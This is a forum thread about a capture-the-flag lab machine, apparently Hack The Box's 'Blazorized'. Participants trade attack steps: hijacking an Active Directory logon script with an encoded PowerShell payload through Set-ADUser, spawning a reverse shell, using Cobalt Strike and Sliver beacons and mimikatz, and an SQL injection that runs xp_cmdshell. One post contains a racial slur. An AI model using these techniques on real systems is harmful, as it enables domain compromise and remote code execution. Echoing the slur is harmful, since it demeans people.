[ritualist]

echo "powershell -e JAB..." | Out-File -FilePath C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23\login.bat -Encoding ASCII
Set-ADUser -Identity SSA_6010 -ScriptPath '\\dc1\NETLOGON\A32FF3AEAA23\login.bat'

I cannot get shell, could you please help?

Drop the part before netlogon and only keep the relative path.

Set-ADUser -Identity SSA_6010 -ScriptPath 'A32FF3AEAA23\login.bat'

[mazafaka555]

Ppl still asking JWT don't even really look into the source code and previous threads to figure out why but just copy-paste

and this's exactly why you shall not produce any writeups for this niggas. they will just copy-pasta.
at some point they will give up and come back to minecraft or their pokemon game.

[a44857437]

echo "powershell -e JAB..." | Out-File -FilePath C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23\login.bat -Encoding ASCII
Set-ADUser -Identity SSA_6010 -ScriptPath '\\dc1\NETLOGON\A32FF3AEAA23\login.bat'

I cannot get shell, could you please help?

Drop the part before netlogon and only keep the relative path.

Set-ADUser -Identity SSA_6010 -ScriptPath 'A32FF3AEAA23\login.bat'

And use revshells.com to generate a powershell command line to load a reverse shell and put that command line in a .bat file

[S3mj]

why PowerView.ps1 not work for me
Set-ADUser -Identity SSA_6010 -ScriptPath 'A32FF3AEAA23\login.bat'
Server instance not found on the given port.
At line:1 char:1
+ Set-ADUser -Identity SSA_6010 -ScriptPath 'A32FF3AEAA23\login.bat'
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (SSA_6010:ADUser) [Set-ADUser], ArgumentException
+ FullyQualifiedErrorId : ActiveDirectoryCmdlet:System.ArgumentException,Microsoft.ActiveDirectory.Management.Commands.SetADUser

[mazafaka555]

why PowerView.ps1 not work for me
Set-ADUser -Identity SSA_6010 -ScriptPath 'A32FF3AEAA23\login.bat'
Server instance not found on the given port.
At line:1 char:1
+ Set-ADUser -Identity SSA_6010 -ScriptPath 'A32FF3AEAA23\login.bat'
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidArgument: (SSA_6010:ADUser) [Set-ADUser], ArgumentException
    + FullyQualifiedErrorId : ActiveDirectoryCmdlet:System.ArgumentException,Microsoft.ActiveDirectory.Management.Commands.SetADUser

get a Cobalt Strike beacon on the box and then:

beacon> powershell-import  ../path/to/your/tools/PowerView.ps1

same should work with Sliver https://github.com/BishopFox/sliver

[S3mj]

ldap ports are not open box reset but not open it. Any solution

---

PS C:\temp> PS C:\temp> ./mimikatz.exe start but not show any things

[S3mj]

PS C:\temp> PS C:\temp> ./mimikatz.exe start but not show any things

[Pie17]

Hi I know many of you have posted answers but I'm still not able to get SQL injection. Can anyone help on where to inject payload in "Check Duplicate post titles"

[imassxck]

Hi I know many of you have posted answers but I'm still not able to get SQL injection. Can anyone help on where to inject payload in "Check Duplicate post titles"

1'; EXEC master.dbo.xp_cmdshell 'powershell -e <Base64> ...';--

[Pie17]

Hi I know many of you have posted answers but I'm still not able to get SQL injection. Can anyone help on where to inject payload in "Check Duplicate post titles"

1'; EXEC master.dbo.xp_cmdshell 'powershell -e <Base64> ...';--

Worked Thanks